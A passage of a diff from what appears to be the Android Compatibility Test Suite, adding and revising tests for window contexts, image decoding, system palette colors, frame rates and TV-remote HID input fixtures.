List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
List<PackageInfo> shimApex = installedPackages.stream().filter(
packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
index 4f1d7f9..60d8a9f 100644
--- a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
@@ -28,6 +28,7 @@
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
import android.view.Display;
+import android.view.WindowManager;
import androidx.test.filters.SmallTest;
@@ -95,14 +96,8 @@
verifyGetDisplayFromDisplayContextDerivedContext(true /* onSecondaryDisplay */);
}
- private void verifyGetDisplayFromDisplayContextDerivedContext(
- boolean onSecondaryDisplay) {
- final Display display;
- if (onSecondaryDisplay) {
- display = getSecondaryDisplay();
- } else {
- display = getDefaultDisplay();
- }
+ private void verifyGetDisplayFromDisplayContextDerivedContext(boolean onSecondaryDisplay) {
+ final Display display = onSecondaryDisplay ? getSecondaryDisplay() : getDefaultDisplay();
final Context context = mApplicationContext.createDisplayContext(display)
.createConfigurationContext(new Configuration());
assertEquals(display, context.getDisplay());
@@ -111,7 +106,23 @@
@Test
public void testGetDisplayFromWindowContext() {
final Display display = getDefaultDisplay();
- Context windowContext = createWindowContext();
+ final Context windowContext = createWindowContext();
+ assertEquals(display, windowContext.getDisplay());
+ }
+
+ @Test
+ public void testGetDisplayFromWindowContextWithDefaultDisplay() {
+ final Display display = getDefaultDisplay();
+ final Context windowContext = mApplicationContext.createWindowContext(display,
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+ assertEquals(display, windowContext.getDisplay());
+ }
+
+ @Test
+ public void testGetDisplayFromWindowContextWithSecondaryDisplay() {
+ final Display display = getSecondaryDisplay();
+ final Context windowContext = mApplicationContext.createWindowContext(display,
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
assertEquals(display, windowContext.getDisplay());
}
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
index 7b15b12..849e764 100644
--- a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
@@ -27,6 +27,7 @@
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
import android.view.Display;
+import android.view.WindowManager;
import androidx.test.filters.SmallTest;
@@ -77,6 +78,13 @@
}
@Test
+ public void testIsUiContextOnWindowContextWithDisplay() {
+ final Context windowContext = mApplicationContext.createWindowContext(getDefaultDisplay(),
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+ assertThat(Context.isUiContext(windowContext)).isTrue();
+ }
+
+ @Test
public void testIsUiContextOnInputMethodService() {
assertThat(Context.isUiContext(new InputMethodService())).isTrue();
}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
index c1c7f70..639d119 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
@@ -38,8 +38,6 @@
#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
-#pragma GCC diagnostic ignored "-Wnonnull"
-
using AssetCloser = std::unique_ptr<AAsset, decltype(&AAsset_close)>;
using DecoderDeleter = std::unique_ptr<AImageDecoder, decltype(&AImageDecoder_delete)>;
@@ -93,6 +91,10 @@
ASSERT_NE(asset, nullptr);
AssetCloser assetCloser(asset, AAsset_close);
+ AImageDecoder_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
{
int result = AImageDecoder_createFromAAsset(asset, nullptr);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -175,6 +177,7 @@
int result = AImageDecoder_getRepeatCount(nullptr);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
}
+#pragma clang diagnostic pop
}
static void testInfo(JNIEnv* env, jclass, jlong imageDecoderPtr, jint width, jint height,
@@ -541,8 +544,11 @@
{
// Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -859,8 +865,11 @@
{
// Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -1076,8 +1085,11 @@
{
// Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
diff --git a/tests/tests/graphics/res/drawable/animated_webp.webp b/tests/tests/graphics/res/drawable/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/animated_webp.webp
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
index be3042e..e4388e6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
@@ -578,13 +578,17 @@
// SkRawCodec does not support sampling.
return;
}
- ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
- record.resId);
- String name = Utils.getAsResourceUri(record.resId).toString();
+ testComputeSampledSizeInternal(record.resId, sampleSize);
+ }
+
+ private void testComputeSampledSizeInternal(int resId, int sampleSize)
+ throws IOException {
+ ImageDecoder.Source src = ImageDecoder.createSource(getResources(), resId);
+ String name = Utils.getAsResourceUri(resId).toString();
Bitmap bm = decodeSampled(name, src, sampleSize);
assertNotNull(bm);
- try (ParcelFileDescriptor pfd = open(record.resId)) {
+ try (ParcelFileDescriptor pfd = open(resId)) {
long aimagedecoder = nCreateFromFd(pfd.getFd());
nTestComputeSampledSize(aimagedecoder, bm, sampleSize);
@@ -593,6 +597,17 @@
}
}
+ private static Object[] getExifsSample() {
+ return Utils.crossProduct(getExifImages(), new Object[] { 2, 3, 4, 8, 16 });
+ }
+
+ @Test
+ @Parameters(method = "getExifsSample")
+ public void testComputeSampledSizeExif(int resId, int sampleSize)
+ throws IOException {
+ testComputeSampledSizeInternal(resId, sampleSize);
+ }
+
private Bitmap decodeScaled(String name, ImageDecoder.Source src) {
try {
return ImageDecoder.decodeBitmap(src, (decoder, info, source) -> {
@@ -860,6 +875,20 @@
assertEquals(100, bm.getWidth());
assertEquals(80, bm.getHeight());
+ // First verify that the info (and in particular, the width and height)
+ // are correct. This uses a separate ParcelFileDescriptor/aimagedecoder
+ // because the native methods delete the aimagedecoder.
+ try (ParcelFileDescriptor pfd = open(resId)) {
+ long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+ String mimeType = uri.toString().contains("webp") ? "image/webp" : "image/jpeg";
+ nTestInfo(aimagedecoder, 100, 80, mimeType, false,
+ DataSpace.fromColorSpace(bm.getColorSpace()));
+ } catch (FileNotFoundException e) {
+ e.printStackTrace();
+ fail("Could not open " + uri + " to check info");
+ }
+
try (ParcelFileDescriptor pfd = open(resId)) {
long aimagedecoder = nCreateFromFd(pfd.getFd());
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 94271f1..f9ba150 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -429,7 +429,7 @@
HARDWARE_OPTIONS);
assertEquals(Config.HARDWARE, hardwareBitmap.getConfig());
- Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 100, 100, null, false);
+ Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 96, 96, null, false);
assertEquals(Config.HARDWARE, ret.getConfig());
assertFalse(ret.isMutable());
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4e08ba0..62fadd8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -75,6 +75,33 @@
{ 0xff000000, android.R.color.widget_edittext_dark },
};
+ int systemColors[] = {
+ android.R.color.system_main_0,
+ android.R.color.system_main_50,
+ android.R.color.system_main_100,
+ android.R.color.system_main_200,
+ android.R.color.system_main_300,
+ android.R.color.system_main_400,
+ android.R.color.system_main_500,
+ android.R.color.system_main_600,
+ android.R.color.system_main_700,
+ android.R.color.system_main_800,
+ android.R.color.system_main_900,
+ android.R.color.system_main_1000,
+ android.R.color.system_accent_0,
+ android.R.color.system_accent_50,
+ android.R.color.system_accent_100,
+ android.R.color.system_accent_200,
+ android.R.color.system_accent_300,
+ android.R.color.system_accent_400,
+ android.R.color.system_accent_500,
+ android.R.color.system_accent_600,
+ android.R.color.system_accent_700,
+ android.R.color.system_accent_800,
+ android.R.color.system_accent_900,
+ android.R.color.system_accent_1000,
+ };
+
List<Integer> expectedColorStateLists = Arrays.asList(
android.R.color.primary_text_dark,
android.R.color.primary_text_dark_nodisable,
@@ -124,7 +151,7 @@
}
// System-API colors are used to allow updateable platform components to use the same colors
- // as the system. The actualy value of the color does not matter. Hence only enforce that
+ // as the system. The actual value of the color does not matter. Hence only enforce that
// 'colors' contains all the public colors and ignore System-api colors.
int numPublicApiColors = 0;
for (Field declaredColor : android.R.color.class.getDeclaredFields()) {
@@ -137,7 +164,7 @@
}
assertEquals("Test no longer in sync with colors in android.R.color",
- colors.length, numPublicApiColors);
+ colors.length + systemColors.length, numPublicApiColors);
}
@Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index daeb4a4..30be8ef 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -698,7 +698,6 @@
runOneSurfaceTest(api, (TestSurface surface) -> {
Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
Display.Mode currentMode = display.getMode();
- float initialRefreshRate = currentMode.getRefreshRate();
if (shouldBeSeamless) {
// Seamless rates should be seamlessly achieved with no resolution changes.
@@ -717,7 +716,7 @@
surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
/*shouldBeSeamless*/ true);
// Wait for potential mode switches
- verifyCompatibleAndStableFrameRate(initialRefreshRate, Arrays.asList(surface));
+ verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
currentMode = display.getMode();
// Seamed rates should never generate a seamed switch.
@@ -925,7 +924,6 @@
runOneSurfaceTest(api, (TestSurface surface) -> {
Display display = getDisplay();
Display.Mode currentMode = display.getMode();
- float initialRefreshRate = currentMode.getRefreshRate();
List<Float> frameRatesToTest = Floats.asList(currentMode.getAlternativeRefreshRates());
for (float frameRate : frameRatesToTest) {
@@ -943,7 +941,7 @@
/*shouldBeSeamless*/ false);
// Wait for potential mode switches.
- verifyCompatibleAndStableFrameRate(initialRefreshRate, Arrays.asList(surface));
+ verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
currentMode = display.getMode();
List<Float> seamedRefreshRates = getSeamedRefreshRates(currentMode, display);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 53f6701..4cc44e6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -183,10 +183,7 @@
File dir = new File(context.getFilesDir(), "images");
dir.mkdirs();
file = new File(dir, "test_file" + resId);
- if (!file.createNewFile()) {
- if (file.exists()) {
- return file;
- }
+ if (!file.createNewFile() && !file.exists()) {
fail("Failed to create new File!");
}
@@ -2020,6 +2017,25 @@
}
}
+ @Test
+ public void testOrientationWithSampleSize() {
+ Uri uri = Utils.getAsResourceUri(R.drawable.orientation_6);
+ ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+ final int sampleSize = 7;
+ try {
+ Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+ decoder.setTargetSampleSize(sampleSize);
+ });
+ assertNotNull(bm);
+
+ // The unsampled image, after rotation, is 100 x 80
+ assertEquals(100 / sampleSize, bm.getWidth());
+ assertEquals( 80 / sampleSize, bm.getHeight());
+ } catch (IOException e) {
+ fail("Failed to decode " + uri.toString() + " with a sampleSize (" + sampleSize + ")");
+ }
+ }
+
@Test(expected = ArrayIndexOutOfBoundsException.class)
public void testArrayOutOfBounds() {
byte[] array = new byte[10];
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
new file mode 100644
index 0000000..8e2adb2
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that feature flag android.software.opengles.deqp.level is present and that it has an
+ * acceptable value.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class OpenGlEsDeqpLevelTest {
+
+ private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName();
+ private static final boolean DEBUG = false;
+
+ private static final int MINIMUM_OPENGLES_DEQP_LEVEL = 0x07E40301; // Corresponds to 2020-03-01
+
+ private PackageManager mPm;
+
+ @Before
+ public void setup() throws Throwable {
+ mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
+ }
+
+ @Test
+ public void testOpenGlEsDeqpLevel() {
+ if (DEBUG) {
+ Log.d(TAG, "Checking whether " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL
+ + " has an acceptable value");
+ }
+ assertTrue("Feature " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL + " must be present "
+ + "and have at least version " + MINIMUM_OPENGLES_DEQP_LEVEL,
+ mPm.hasSystemFeature(PackageManager.FEATURE_OPENGLES_DEQP_LEVEL,
+ MINIMUM_OPENGLES_DEQP_LEVEL));
+ }
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
index 3d4f6b6..ca97dbe 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
@@ -127,11 +127,11 @@
}
@Test
- public void testIsColorSpace() {
+ public void testIsColorSpaceContainer() {
ColorSpace colorSpace = ColorSpace.get(ColorSpace.Named.BT2020);
ParcelableColorSpace parcelableColorSpace = new ParcelableColorSpace(colorSpace);
Bitmap bitmap = Bitmap.createBitmap(10, 10,
- Bitmap.Config.RGBA_F16, false, parcelableColorSpace);
+ Bitmap.Config.RGBA_F16, false, parcelableColorSpace.getColorSpace());
assertNotNull(bitmap);
ColorSpace bitmapColorSpace = bitmap.getColorSpace();
assertNotNull(bitmapColorSpace);
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
new file mode 100644
index 0000000..bb3ca0a
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.R;
+import android.content.Context;
+import android.graphics.Color;
+
+import androidx.annotation.ColorInt;
+import androidx.core.graphics.ColorUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SystemPalette {
+
+ private static final double MAX_CHROMA_DISTANCE = 0.1;
+ private static final String LOG_TAG = SystemPalette.class.getSimpleName();
+
+ @Test
+ public void testShades0and1000() {
+ final Context context = getInstrumentation().getTargetContext();
+ final int system0 = context.getColor(R.color.system_main_0);
+ final int system1000 = context.getColor(R.color.system_main_1000);
+ final int accent0 = context.getColor(R.color.system_accent_0);
+ final int accent1000 = context.getColor(R.color.system_accent_1000);
+ assertColor(system0, Color.WHITE);
+ assertColor(system1000, Color.BLACK);
+ assertColor(accent0, Color.WHITE);
+ assertColor(accent1000, Color.BLACK);
+ }
+
+ @Test
+ public void testAllColorsBelongToSameFamily() {
+ final Context context = getInstrumentation().getTargetContext();
+ final int[] mainColors = getAllMainColors(context);
+ final int[] accentColors = getAllAccentColors(context);
+
+ for (int i = 2; i < mainColors.length - 1; i++) {
+ assertWithMessage("Main color " + Integer.toHexString((mainColors[i - 1]))
+ + " has different chroma compared to " + Integer.toHexString(mainColors[i]))
+ .that(similarChroma(mainColors[i - 1], mainColors[i])).isTrue();
+ assertWithMessage("Accent color " + Integer.toHexString((accentColors[i - 1]))
+ + " has different chroma compared to " + Integer.toHexString(accentColors[i]))
+ .that(similarChroma(accentColors[i - 1], accentColors[i])).isTrue();
+ }
+ }
+
+ /**
+ * Compare if color A and B have similar color, in LAB space.
+ *
+ * @param colorA Color 1
+ * @param colorB Color 2
+ * @return True when colors have similar chroma.
+ */
+ private boolean similarChroma(@ColorInt int colorA, @ColorInt int colorB) {
+ final double[] labColor1 = new double[3];
+ final double[] labColor2 = new double[3];
+
+ ColorUtils.RGBToLAB(Color.red(colorA), Color.green(colorA), Color.blue(colorA), labColor1);
+ ColorUtils.RGBToLAB(Color.red(colorB), Color.green(colorB), Color.blue(colorB), labColor2);
+
+ labColor1[1] = (labColor1[1] + 128.0) / 256;
+ labColor1[2] = (labColor1[2] + 128.0) / 256;
+ labColor2[1] = (labColor2[1] + 128.0) / 256;
+ labColor2[2] = (labColor2[2] + 128.0) / 256;
+
+ return (Math.abs(labColor1[1] - labColor2[1]) < MAX_CHROMA_DISTANCE)
+ && (Math.abs(labColor1[2] - labColor2[2]) < MAX_CHROMA_DISTANCE);
+ }
+
+ @Test
+ public void testColorsMatchExpectedLuminosity() {
+ final Context context = getInstrumentation().getTargetContext();
+ final int[] mainColors = getAllMainColors(context);
+ final int[] accentColors = getAllAccentColors(context);
+
+ final double[] labMain = new double[3];
+ final double[] labAccent = new double[3];
+ final double[] expectedL = {100, 95, 90, 80, 70, 60, 50, 40, 30, 20, 10, 0};
+
+ for (int i = 0; i < mainColors.length; i++) {
+ ColorUtils.RGBToLAB(Color.red(mainColors[i]), Color.green(mainColors[i]),
+ Color.blue(mainColors[i]), labMain);
+ ColorUtils.RGBToLAB(Color.red(accentColors[i]), Color.green(accentColors[i]),
+ Color.blue(accentColors[i]), labAccent);
+
+ // Colors in the same palette should vary mostly in L, decreasing lightness as we move
+ // across the palette.
+ assertWithMessage("Color " + Integer.toHexString((mainColors[i]))
+ + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+ .that(labMain[0]).isWithin(5).of(expectedL[i]);
+ assertWithMessage("Color " + Integer.toHexString((accentColors[i]))
+ + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+ .that(labAccent[0]).isWithin(5).of(expectedL[i]);
+ }
+ }
+
+ private void assertColor(@ColorInt int observed, @ColorInt int expected) {
+ Assert.assertEquals("Color = " + Integer.toHexString(observed) + ", "
+ + Integer.toHexString(expected) + " expected",
+ observed, expected);
+ }
+
+ private int[] getAllMainColors(Context context) {
+ final int[] colors = new int[12];
+ colors[0] = context.getColor(R.color.system_main_0);
+ colors[1] = context.getColor(R.color.system_main_50);
+ colors[2] = context.getColor(R.color.system_main_100);
+ colors[3] = context.getColor(R.color.system_main_200);
+ colors[4] = context.getColor(R.color.system_main_300);
+ colors[5] = context.getColor(R.color.system_main_400);
+ colors[6] = context.getColor(R.color.system_main_500);
+ colors[7] = context.getColor(R.color.system_main_600);
+ colors[8] = context.getColor(R.color.system_main_700);
+ colors[9] = context.getColor(R.color.system_main_800);
+ colors[10] = context.getColor(R.color.system_main_900);
+ colors[11] = context.getColor(R.color.system_main_1000);
+ return colors;
+ }
+
+ private int[] getAllAccentColors(Context context) {
+ final int[] colors = new int[12];
+ colors[0] = context.getColor(R.color.system_accent_0);
+ colors[1] = context.getColor(R.color.system_accent_50);
+ colors[2] = context.getColor(R.color.system_accent_100);
+ colors[3] = context.getColor(R.color.system_accent_200);
+ colors[4] = context.getColor(R.color.system_accent_300);
+ colors[5] = context.getColor(R.color.system_accent_400);
+ colors[6] = context.getColor(R.color.system_accent_500);
+ colors[7] = context.getColor(R.color.system_accent_600);
+ colors[8] = context.getColor(R.color.system_accent_700);
+ colors[9] = context.getColor(R.color.system_accent_800);
+ colors[10] = context.getColor(R.color.system_accent_900);
+ colors[11] = context.getColor(R.color.system_accent_1000);
+ return colors;
+ }
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 32fc205..da2eb16 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -121,9 +121,8 @@
}
private AnimatedImageDrawable createFromImageDecoder(int resId) {
- Uri uri = null;
+ Uri uri = Utils.getAsResourceUri(resId);
try {
- uri = Utils.getAsResourceUri(resId);
ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
Drawable drawable = ImageDecoder.decodeDrawable(source);
assertTrue(drawable instanceof AnimatedImageDrawable);
@@ -134,6 +133,19 @@
}
}
+ private Bitmap decodeBitmap(int resId) {
+ Uri uri = Utils.getAsResourceUri(resId);
+ try {
+ ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
+ return ImageDecoder.decodeBitmap(source, (decoder, info, src) -> {
+ decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+ });
+ } catch (IOException e) {
+ fail("Failed to create Bitmap from " + uri);
+ return null;
+ }
+ }
+
@Test
public void testDecodeAnimatedImageDrawable() {
Drawable drawable = createFromImageDecoder(RES_ID);
@@ -480,6 +492,35 @@
}
@Test
+ public void testExif() {
+ // This animation has an exif orientation that makes it match R.drawable.animated (RES_ID).
+ AnimatedImageDrawable exifAnimation = createFromImageDecoder(R.drawable.animated_webp);
+
+ Bitmap expected = decodeBitmap(RES_ID);
+ final int width = expected.getWidth();
+ final int height = expected.getHeight();
+
+ assertEquals(width, exifAnimation.getIntrinsicWidth());
+ assertEquals(height, exifAnimation.getIntrinsicHeight());
+
+ Bitmap actual = Bitmap.createBitmap(width, height, expected.getConfig(),
+ expected.hasAlpha(), expected.getColorSpace());
+ {
+ Canvas canvas = new Canvas(actual);
+ exifAnimation.setBounds(0, 0, width, height);
+ exifAnimation.draw(canvas);
+ }
+
+ // mseMargin was chosen by looking at the logs. The images are not exactly
+ // the same due to the fact that animated_webp's frames are encoded lossily,
+ // but the two images are perceptually identical.
+ final int mseMargin = 143;
+ final boolean lessThanMargin = true;
+ BitmapUtils.assertBitmapsMse(expected, actual, mseMargin, lessThanMargin,
+ expected.isPremultiplied());
+ }
+
+ @Test
public void testPostProcess() {
// Compare post processing a Rect in the middle of the (not-animating)
// image with drawing manually. They should be exactly the same.
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
new file mode 100644
index 0000000..b08c41c
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
@@ -0,0 +1,11 @@
+[
+ {
+ "name": "Press HOME",
+ "reports": [
+ [0x02, 0x23, 0x02],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
new file mode 100644
index 0000000..6f28c0d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
@@ -0,0 +1,326 @@
+[
+ {
+ "name": "Press 1",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_1"},
+ {"action": "UP", "keycode": "KEYCODE_1"}
+ ]
+ },
+ {
+ "name": "Press 2",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_2"},
+ {"action": "UP", "keycode": "KEYCODE_2"}
+ ]
+ },
+ {
+ "name": "Press 3",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_3"},
+ {"action": "UP", "keycode": "KEYCODE_3"}
+ ]
+ },
+ {
+ "name": "Press 4",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_4"},
+ {"action": "UP", "keycode": "KEYCODE_4"}
+ ]
+ },
+ {
+ "name": "Press 5",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_5"},
+ {"action": "UP", "keycode": "KEYCODE_5"}
+ ]
+ },
+ {
+ "name": "Press 6",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_6"},
+ {"action": "UP", "keycode": "KEYCODE_6"}
+ ]
+ },
+ {
+ "name": "Press 7",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00],
